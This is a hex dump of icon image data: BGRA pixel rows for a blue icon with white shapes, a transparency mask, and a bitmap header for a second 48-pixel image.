B8F01355B8FF1B5FC5FF1C64CFFF1D68D8FF1E6CDFFF1F6FE6FF2071EBFF2173 EEFF2175F1FF2176F4FF2177F5FF2177F6FF1972F7FF267AF7FF83B2FAFFC8DD FBFFF0F4FCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFFFCFFFFFEFCFFE7F0 FCFFB3D0FBFF5697FAFF1872F8FF1E76F8FF2278F8FF2278F8FF2278F8FF2278 F8FF2278F8FF2278F8FF2278F8FF1F76F8FF1872F8FF5D9CFAFFBED7FBFFEFF4 FCFFFFFFFCFFFFFFFCFFFFFEFCFFFFFEFCFFFFFEFCFFFFFFFCFFFFFFFCFFFBFB FCFFCBDFFAFF6DA5F8FF1A73F6FF1B73F5FF2176F4FF2175F2FF2173EFFF2072 ECFF1F70E7FF1F6DE1FF1E69DBFF1C65D2FF1B61C8FF1658BCFF3267B7F04472 B7F01355B7FF1B5EC4FF1C63CEFF1D68D7FF1E6BDEFF1F6FE4FF2070E9FF2072 EDFF2174F0FF2175F2FF2176F4FF2176F5FF2177F6FF1E75F6FF1771F6FF2076 F7FF3C87F7FF7AADF8FFA1C5F9FFB9D3FAFFB0CEFAFF96BEF9FF5F9DF8FF2D7F F7FF1B73F7FF1872F7FF2077F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177 F7FF2177F7FF2177F7FF2177F7FF2177F7FF2077F7FF1771F7FF1D74F7FF3A87 F7FF8DB8F9FFCBDEFAFFEEF3FAFFF1F4FAFFEFF3FAFFD5E4FAFF9BC1F9FF5193 F7FF2177F6FF1771F6FF1F76F5FF2176F4FF2175F3FF2174F1FF2073EEFF2071 EAFF1F6FE6FF1F6CE0FF1E69D9FF1C65D1FF1B5FC7FF1658BBFF3267B6F04472 B7F01354B5FF1A5EC2FF1C62CCFF1D67D5FF1E6ADCFF1F6EE2FF2070E7FF2071 EBFF2173EEFF2174F1FF2175F2FF2175F3FF2176F4FF2176F5FF2176F5FF1F75 F5FF1C73F5FF146FF5FF1770F5FF1E75F5FF1C73F5FF146FF5FF1770F5FF1D74 F5FF2076F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177 F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF2177F5FF1F76F5FF1B73 F5FF1570F5FF2378F5FF2F7EF5FF3683F5FF307FF5FF267AF5FF1770F5FF1871 F4FF1F75F5FF2176F4FF2176F4FF2175F3FF2174F1FF2173EFFF2072ECFF2070 E8FF1F6EE4FF1E6BDEFF1D68D7FF1C64CFFF1B5FC5FF1658B9FF3367B5F04774 B6F01253B2FF1A5CC0FF1B61C9FF1D65D2FF1E69DAFF1F6CDFFF1F6EE4FF2070 E8FF2071EBFF2073EDFF2173EFFF2174F0FF2174F1FF2175F2FF2175F2FF2175 F2FF2175F2FF2175F2FF2074F2FF1F73F2FF1F74F2FF2174F2FF2175F2FF2175 F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175 F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175F2FF2175 F2FF2074F2FF1E73F2FF1D72F2FF1C72F2FF1D72F2FF1E73F2FF2074F2FF2175 F2FF2175F2FF2174F1FF2175F1FF2174EFFF2173EEFF2072ECFF2070E9FF1F6F E6FF1F6DE1FF1E6ADBFF1D67D5FF1C62CCFF1B5EC2FF1556B6FF3567B4F04D77 B6F01150AFFF1A5BBCFF1B5FC6FF1C64CFFF1D68D6FF1E6BDCFF1F6DE0FF1F6E E4FF2070E8FF2071EAFF2071EBFF1F72ECFF1E71ECFF1D71EEFF1D71EDFF1D70 EDFF1D70EDFF1D70EDFF1D70EDFF1D70EEFF1D70EEFF1D70EEFF1D70EEFF1D71 EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71 EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D71EEFF1D70 EEFF1D70EEFF1D70EEFF1D70EEFF1D70EEFF1D70EDFF1D70EDFF1D70EDFF1D70 EDFF1D71EDFF1E71EDFF1F71ECFF2072ECFF2071EBFF2071E8FF1F6FE5FF1F6D E1FF1E6BDDFF1D68D8FF1D65D1FF1B61C8FF1A5CBFFF1454B3FF3869B2F1597E B7F80F4DABFF1959B8FF1A5EC2FF1C62CAFF1D66D2FF1E68D8FF1E6ADCFF1F6C DFFF1F6DE2FF1D6EE4FF1C6DE5FF1F70E7FF2976EAFF347EECFF3C83EEFF4287 EEFF468AEFFF498CF0FF4A8DF0FF4C8DF1FF4C8EF1FF4D8EF1FF4D8EF1FF4D8F F1FF4D8FF1FF4D8FF1FF4D8FF1FF4D8EF1FF4D8EF1FF4D8EF1FF4D8EF1FF4D8E F1FF4D8EF1FF4D8EF1FF4D8EF1FF4D8FF1FF4D8FF1FF4D8FF1FF4D8FF1FF4D8E F1FF4D8EF1FF4C8EF1FF4C8EF1FF4B8DF0FF498CF0FF478AEFFF4388EFFF3E84 EEFF377FEDFF2C79EBFF2271E8FF1C6DE6FF1C6DE5FF1E6EE2FF1F6DE0FF1E6B DDFF1E69D9FF1D67D4FF1C63CCFF1B5FC4FF1A5BBBFF1351AFFF3D6CB0ED5E82 B6B80D4AA6FF1957B3FF1A5BBCFF1A5FC5FF1B63CBFF1D65D1FF1D67D7FF1D68 D9FF1A68DCFF2672E0FF4889EAFF659DF0FF75A8F4FF7EAEF5FF82B1F7FF84B2 F7FF86B3F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4 F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4 F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4 F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF87B4F7FF86B3F7FF85B2F7FF83B1 F7FF7FAEF6FF78A9F5FF6BA1F1FF5290ECFF3078E3FF1B68DCFF1C68DAFF1E68 D8FF1D66D3FF1C63CEFF1B60C7FF1A5CBFFF1858B6FF1652ABFF2258A7BB255A A978164FA4FF1754ADFF1858B6FF1A5CBEFF1B5FC5FF1C62CBFF1A62CEFF1C65 D2FF4281E0FF72A3EFFF86B2F4FF89B4F5FF87B3F5FF86B2F5FF86B2F5FF85B2 F5FF85B2F5FF85B2F5FF85B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1 F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1 F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1F5FF84B1 F5FF84B1F5FF84B1F5FF84B1F5FF85B1F5FF85B2F5FF85B2F5FF85B2F5FF86B2 F5FF86B2F5FF86B3F5FF88B4F5FF87B3F5FF7AAAF1FF528DE5FF236AD5FF1862 CFFF1B62CCFF1B60C7FF1A5DC0FF1959B8FF1855B0FF154FA5FF2056A6B7527C B9881950A1FF1650A8FF1855B0FF1958B7FF1A5CBEFF195DC3FF2367CBFF4C86 DDFF7FACF0FF89B3F3FF85B0F3FF85B1F3FF85B1F3FF85B1F3FF85B1F4FF85B1 F4FF85B1F4FF85B2F4FF85B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2 F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2 F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2F4FF86B2 F4FF86B2F4FF86B2F4FF86B2F4FF85B2F4FF85B2F4FF85B1F4FF85B1F4FF85B1 F4FF85B1F3FF85B1F3FF85B1F3FF85B1F3FF87B2F3FF86B1F2FF5E94E3FF2D6F D0FF1A5EC4FF1A5CBFFF1A5AB9FF1956B2FF1752AAFF0F499EFF416DAEBC7796 C5481B509EFA144CA0FF1752A9FF1855AFFF1757B5FF1F5EBDFF5085D7FF7DAA ECFF88B3F1FF86B2F1FF86B2F2FF86B1F2FF85B0F1FF83AFF1FF82AEF1FF81AE F0FF81ADF0FF80ACF0FF7FACF0FF7FACF0FF7FABEFFF7EABEFFF7EABEFFF7EAB EFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7FACEFFF7FACEFFF7FACEFFF7FAC EFFF7FACEFFF7FACEFFF7FACEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EAB EFFF7EABEFFF7FABEFFF7FABEFFF7FACF0FF80ACF0FF80ADF0FF81AEF0FF82AE F0FF83AFF1FF84B0F1FF85B1F2FF86B1F2FF86B1F1FF87B2F1FF84B0EFFF6294 DFFF2866C2FF1757B6FF1855B1FF1853AAFF174FA3FF0C4599FF5F83B9A196AE D2033A66A8E80C4496FF164EA1FF1751A7FF1753ACFF1B58B2FF2B66BEFF3871 C6FF3F77CCFF417ACEFF4079CEFF3D77CEFF3974CDFF3571CBFF326FCAFF2F6D C9FF2E6CC9FF2C6BC8FF2B6AC8FF2A69C8FF2A69C7FF2968C7FF2968C7FF2968 C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968 C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968C7FF2968 C7FF2969C7FF2969C7FF2A69C7FF2A6AC8FF2B6AC8FF2D6CC9FF2F6DC9FF316E CAFF3471CBFF3873CCFF3C77CDFF3F78CEFF4179CEFF4078CCFF3A73C8FF2F69 C1FF1E5BB4FF1753ADFF1751A8FF174FA2FF114799FF1F519CFCB4C2D95CD0D9 E500839FC97B0E4494FF0D4394FF134A9DFF164EA2FF1751A6FF1450A8FF1350 AAFF1350ADFF1251AEFF1352B0FF1352B1FF1453B2FF1453B2FF1554B3FF1555 B4FF1555B4FF1555B4FF1555B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655 B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1656 B4FF1656B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655B4FF1655 B4FF1655B4FF1655B4FF1655B4FF1555B4FF1555B4FF1555B4FF1555B4FF1555 B3FF1454B3FF1453B2FF1353B1FF1352B0FF1251AFFF1351ADFF1350ABFF1450 A9FF1650A7FF164FA3FF154C9EFF114797FF0F4493FF5B7FB8A6CED7E400C5D1 E2009EB5D8006589C17C3562A5E01C4F9BFF184C9BFF154B9DFF0A449AFF0C46 9DFF0F49A0FF104BA2FF114CA3FF124DA4FF124DA5FF124DA6FF124EA6FF124E A6FF124EA6FF124EA6FF124EA6FF124EA6FF134EA7FF134EA7FF134EA7FF134F A7FF134FA7FF134FA7FF134FA7FF134FA7FF134FA7FF134FA8FF134FA8FF134F A7FF134FA7FF134EA7FF134EA7FF134EA7FF134EA7FF134EA7FF134EA7FF134E A7FF134EA7FF134EA7FF124EA6FF124EA6FF124EA6FF124EA6FF124EA6FF124E A6FF124DA6FF124DA5FF124DA4FF114CA4FF104BA2FF0F4AA0FF0E479DFF0A44 9BFF0E469BFF184E9DFF184C99FF22539CEE4A74B4A59AB2D70DA4BAD900C5D1 E20094AED40097B0D60083A2CF0B86A2CE604775B9801C51A0866487BAE9597F B9F04973B4F0406EB2F03C6BB1F03A69B1F03968B0F03767B0F03767B0F03667 B0F03666B0F03666B0F03666B0F03666B0F03566B0F03466B0F03466B0F03466 B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466 B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466B0F03466 B0F03466B0F03466AFF03666B0F03666B0F03666B0F03666B0F03666B0F03767 B0F03767B0F03868B1F03A69B0F03C6BB1F03F6EB2F04773B4F0537BB7F06D8D BEF04570AFB82F62AF805E86BF606D90C60F6D90C80094ADD300A8BCDA00F000 000000000007C000000000000003800000000000000180000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000080000000000000008000 0000000000008000000000000001C000000000000003F00000000000000F2800 0000300000006000000001002000000000008025000000000000000000000000 00000000000097A7BD0091A2BC006B89B4544671B38F3D6EB7B82763BCB82965 BED43A6FC0F0376FC3F0366FC4F03770C5F0376FC5F0376FC6F03770C6F03770 C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770 C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770C6F03770 C6F03770C6F03770C6F03770C6F03770C6F03770C6F0376FC5F03770C5F0376F C4F0376FC3F0396EC0F03069BEE02864BDB83D6EB8B8416FB39C6C89B36D9CA8 BC07B4B8BF008EA1BE006486B58A1C57AEFF1657B7FF155AC0FF1A5FC7FF1A61 CCFF1862D0FF1863D3FF1964D4FF1964D5FF1964D6FF1964D6FF1965D6FF1965 D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965 D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965 D6FF1965D6FF1965D6FF1965D6FF1965D6FF1965D6FF1964D6FF1964D5FF1964 D5FF1863D3FF1862D1FF1962CDFF195FC9FF155AC2FF1557BAFF1755B0FF5B7F B4BFA9B2C007718FBB2A2059AEFC1455B6FF1A5EC2FF1C62CBFF1D66D3FF1D68 D8FF1E6ADBFF1F6BDDFF1E6CDFFF1E6CDFFF1E6DE0FF1E6DE0FF1E6DE0FF1E6D E1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6D E1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6D E1FF1E6DE1FF1E6DE1FF1E6DE1FF1E6DE0FF1E6DE0FF1E6DE0FF1E6CDFFF1E6C DFFF1F6BDEFF1E6ADBFF1E69D8FF1D66D4FF1C63CCFF1B5FC4FF1658B9FF1753 ADFF6F8DB95E6889BA741755B1FF195BBEFF1C62CAFF1D66D3FF1E6ADBFF1F6D DFFF1F6EE3FF1F6FE5FF2070E7FF2070E7FF2071E8FF2071E8FF2071E9FF2071 E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071 E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071 E9FF2071E9FF2071E9FF2071E9FF2071E9FF2071E8FF2071E8FF2071E8FF2070 E7FF1F70E6FF1F6EE4FF1F6DE0FF1E6ADCFF1D67D5FF1C63CCFF1B5DC1FF1152 B2FF4B76B5A13869B3821857B6FF1B5FC4FF1C64D0FF1E69DAFF1F6DE1FF2070 E6FF2071EAFF2072EDFF2173EEFF2173EEFF2173EFFF2173F0FF2173F0FF2173 F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173 F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173 F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173F0FF2173EFFF2173EFFF2173 EEFF2072EDFF2072EBFF2070E7FF1F6EE2FF1E6ADCFF1D65D3FF1B61C7FF1557 B8FF3165B3B95D82B9D11053B8FF1C61C9FF1D67D5FF1E6CDEFF1F70E5FF2072 EBFF2173EEFF2175F1FF2175F2FF2176F3FF2176F3FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176 F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F4FF2176F3FF2176F3FF2175 F3FF2175F2FF2173EFFF2072ECFF2070E6FF1F6DE0FF1D68D7FF1C62CBFF1759 BCFF3065B3C8557EBAF51155BCFF1C63CCFF1D68D8FF1F6DE1FF2071E8FF2173 EEFF2174F2FF2176F4FF2176F6FF2177F6FF2177F6FF2177F6FF2177F6FF2177 F6FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177 F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177F7FF2177 F7FF2177F7FF2177F7FF2177F7FF2177F6FF2177F6FF2177F6FF2177F6FF2176 F6FF2176F4FF2175F3FF2173EFFF2071EAFF1F6EE2FF1E6ADAFF1C64CFFF1559 BFFF3E6FB7F04B77BAF01457BEFF1C63CEFF1E69DAFF1F6EE2FF2072EBFF2174 EFFF2176F3FF2177F6FF2177F7FF2278F8FF2177F8FF1E76F8FF1872F8FF1470 F8FF126FF8FF136FF8FF1771F8FF1D75F8FF2177F9FF2278F9FF2278F9FF2278 F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2278F9FF2178F8FF1E76 F8FF1973F8FF1671F8FF1570F8FF1671F8FF1A73F8FF1E75F8FF2177F8FF2177 F7FF2177F6FF2176F5FF2175F1FF2072ECFF1F6FE4FF1E6ADCFF1C65D1FF165A C2FF376AB8F04674BAF01458BEFF1C63CFFF1E6ADBFF1F6FE4FF2072EBFF2175 F1FF2176F5FF2177F7FF2278F8FF1E76F9FF1B74F9FF3080FAFF5E9CFBFF80B1 FBFF90BBFBFF89B7FCFF6DA6FBFF3B88FAFF1B75FAFF1D76F9FF2279FAFF2279 FAFF2279FAFF2279FAFF2279FAFF2279FAFF2279FAFF2077FAFF1973F9FF2E7F FAFF5799FBFF73A9FBFF7AADFBFF71A8FBFF4F94FAFF2C7EF9FF1A73F9FF1F76 F8FF2177F7FF2177F5FF2175F2FF2073EDFF1F6FE6FF1E6BDDFF1D65D2FF175C C3FF3469B9F04473BAF01458BFFF1C64D0FF1E6ADBFF1F6FE4FF2072ECFF2175 F1FF2177F5FF2177F7FF1973F8FF287CFAFFA1C5FCFFE8F1FDFFFFFFFEFFFFFF FEFFFFFFFEFFFFFFFEFFFFFFFEFFF0F6FEFFA9CBFDFF2B7FFBFF1973FAFF2279 FAFF2279FAFF2279FAFF2279FAFF2279FAFF1C75FAFF1E76FAFF88B7FCFFE2ED FEFFFDFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFBFCFEFFE5EFFDFF90BBFBFF2077 F8FF1A73F7FF2177F6FF2175F2FF2073EEFF2070E6FF1E6BDEFF1D65D2FF175C C3FF3369B9F04473BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF2072EDFF2175 F2FF2177F5FF1872F7FF3D89F9FFC6DCFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFE FEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFCDE0FDFF438DFBFF1873 FAFF2279FAFF2279FAFF2279FAFF1A75FAFF3082FBFFB2D1FDFFFFFFFEFFFFFF FEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFBBD5 FCFF3684F8FF1871F6FF2176F3FF2172EEFF2070E6FF1E6BDEFF1D66D3FF175C C4FF3269BAF04373BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF2072EDFF2175 F2FF1972F5FF3F89F9FFDFEBFDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFE6F0FEFF488F FBFF1974FAFF2379FAFF1C76FAFF3383FBFFD0E2FDFFFFFFFEFFFFFFFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFF FDFFD7E6FCFF3985F7FF1A72F3FF2173EEFF2070E7FF1E6CDEFF1D66D3FF175C C4FF3269BAF04273BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF2072EDFF1E73 F2FF2579F6FFCCDFFBFFFFFFFDFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFD8E7 FEFF2E80FBFF1B75FAFF2078FAFFBED7FDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFE FEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFD FDFFFFFFFCFFC6DBFAFF2478F3FF1E72EEFF2070E7FF1E6CDEFF1D66D3FF175C C4FF3268BAF04273BAF01559C1FF1C65D0FF1E6ADCFF1F6FE5FF2072EDFF166E F2FF80B0F7FFFFFFFCFFFEFEFDFFFEFEFEFFFEFEFEFFFEFEFEFFFFFEFEFFFFFF FEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFF FFFF93BDFEFF0B6BFAFF74ABFCFFFFFFFFFFFFFFFEFFFEFEFEFFFEFEFEFFFEFE FEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFD FDFFFDFDFCFFFFFFFBFF7EAEF5FF166DEEFF2070E7FF1E6CDEFF1D66D3FF175D C4FF3268BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF1E71EDFF2577 F2FFD4E4F9FFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFD1E3 FDFF9FC4FCFFBBD5FDFFFDFDFEFFFFFFFEFFFEFEFEFFFFFFFFFFFFFFFFFFFFFF FFFFE7F0FFFF3686FCFFCDE1FFFFFFFFFFFFFFFFFFFFFEFEFEFFFEFEFEFFFFFF FEFFFFFFFEFFD9E8FDFFBED8FDFFE6EFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFDFD FDFFFCFCFDFFFFFFFBFFD6E3F7FF2677EEFF1D6FE7FF1E6CDEFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF196EEDFF498D F3FFF7F8FAFFFEFEFCFFFDFDFDFFFEFEFEFFFFFFFEFFFFFFFEFFA7CAFDFF2379 FBFF1572FAFF1974FAFF6EA7FCFFF7FAFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFAECEFEFFEFF5FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFEFF FEFF91BCFCFF257BFBFF1D76FAFF3081FBFFB5D2FDFFFFFFFEFFFFFFFEFFFDFD FDFFFDFDFDFFFEFCFBFFF7F8F7FF4F8FEFFF186CE7FF1E6CDEFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF156DECFF679F F4FFFEFCFAFFFDFCFCFFFDFDFDFFFEFEFEFFFFFFFEFFE9F1FEFF3082FAFF1974 FAFF2279FAFF2077FAFF1471FAFFAECEFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFF8FBFFFFFCFDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC2DA FEFF1C75FAFF1C76FAFF2078FAFF1973FAFF2E80FAFFD9E7FDFFFFFFFEFFFEFE FEFFFDFDFDFFFBFBFBFFFEFCF7FF72A4EFFF1469E7FF1E6CDEFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D65D1FF1E6BDCFF1F6FE5FF146BECFF73A7 F4FFFFFEFAFFFDFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFC3DAFDFF2078FAFF2078 FAFF2279FAFF2279FAFF126FFAFF87B6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF91BC FDFF1270FAFF2279FAFF2279FAFF2279FAFF116FFAFF90BCFCFFFFFFFEFFFEFE FEFFFCFCFCFFFBFBFBFFFFFEF7FF7FADF0FF1268E7FF1E6CDEFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE6FF156CEDFF6DA3 F4FFFFFEFAFFFEFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFD1E2FDFF257BFAFF2078 FAFF2279FAFF2279FBFF1773FBFF6BA6FDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF90BC FDFF1270FBFF2279FAFF2279FAFF2279FAFF1370FAFF8FBBFCFFFFFFFEFFFEFE FEFFFCFCFCFFFBFBFBFFFFFDF7FF78A8F0FF1369E7FF1E6CDEFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE6FF166CEDFF639D F4FFFDFCFAFFFEFDFCFFFEFEFEFFFEFEFEFFFFFFFEFFEBF3FEFF2E80FAFF1F77 FAFF2279FBFF2279FBFF1E77FBFF3483FCFFEBF3FFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF95BE FDFF1170FBFF2279FBFF2279FAFF2279FAFF1370FAFF90BCFCFFFFFFFEFFFEFE FEFFFCFCFCFFFDFBFBFFFBFAF7FF619AF0FF166AE7FF1E6CDFFF1D66D3FF175D C4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF196EEDFF488C F3FFF6F8FAFFFFFEFCFFFEFEFEFFFEFEFEFFFFFFFEFFFCFDFEFF5497FBFF1873 FAFF2279FBFF2279FBFF2279FBFF1B75FBFF5598FCFFB7D3FEFFCDE1FEFFCEE1 FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCEE1FEFF78AD FDFF1672FBFF2279FBFF2279FAFF2279FAFF126FFAFF8DBAFCFFFFFFFEFFFEFE FEFFFCFCFCFFFFFDFBFFEBF1F7FF3881EFFF1B6DE7FF1E6CDFFF1D66D4FF175D C4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF1D71EDFF2A7A F3FFDFEAFAFFFFFFFCFFFEFEFEFFFEFEFEFFFFFEFEFFFFFFFEFFA5C8FDFF1672 FAFF2279FBFF2279FBFF2279FBFF2279FBFF1A74FBFF1E77FBFF257BFBFF257B FBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF237A FBFF2279FBFF2279FBFF2279FBFF2178FAFF1471FAFFA7CAFDFFFFFFFEFFFEFE FEFFFDFCFCFFFFFFFBFFAAC8F7FF196EEEFF1F70E7FF1E6CDFFF1C66D4FF175D C5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF2072EDFF1970 F2FFA8C9F9FFFFFFFCFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFF6FAFEFF4F94 FBFF1772FBFF2279FBFF2279FBFF2279FBFF2279FBFF2078FBFF2078FBFF2078 FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2178 FBFF2279FBFF2279FBFF2179FBFF1471FAFF5E9EFCFFF6FAFEFFFFFFFEFFFEFE FEFFFFFFFDFFF0F4FAFF458BF4FF196FEFFF2070E7FF1E6CDFFF1C66D4FF175D C5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF2072EDFF176F F2FF5A99F7FFF9FBFCFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFD4E5 FEFF3081FCFF1874FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279 FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279 FBFF2279FBFF2178FBFF2179FBFF8DBAFCFFF2F7FEFFFFFFFEFFFEFEFEFFFEFE FEFFFFFFFDFFEFF4FAFF3F87F4FF1A6FEFFF2070E7FF1E6CDFFF1C66D4FF175D C5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF2072EDFF1E73 F3FF2679F6FFDFEAFCFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFF FEFFCADFFFFF3A88FCFF1370FBFF1E77FBFF2178FBFF2279FBFF2279FBFF2279 FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279 FBFF2279FBFF2279FBFF1B75FAFF87B7FDFFFFFFFEFFFEFEFEFFFEFEFEFFFEFE FEFFFDFCFCFFFFFFFBFF8DB7F6FF156DEEFF2070E7FF1E6CDFFF1D66D4FF175D C5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF2072EDFF176F F2FF6BA4F7FFFAFCFCFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFF FEFFFFFFFFFFEFF5FFFF83B4FDFF3383FCFF1974FBFF1370FBFF1571FBFF1571 FBFF1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1873FBFF1F77FBFF2279 FBFF2279FBFF2279FBFF2078FAFF1E77FAFFC4DBFEFFFFFFFEFFFEFEFEFFFEFE FEFFFCFCFCFFFFFFFBFFCDDDF7FF2375EFFF1E6FE7FF1E6CDFFF1D66D4FF175D 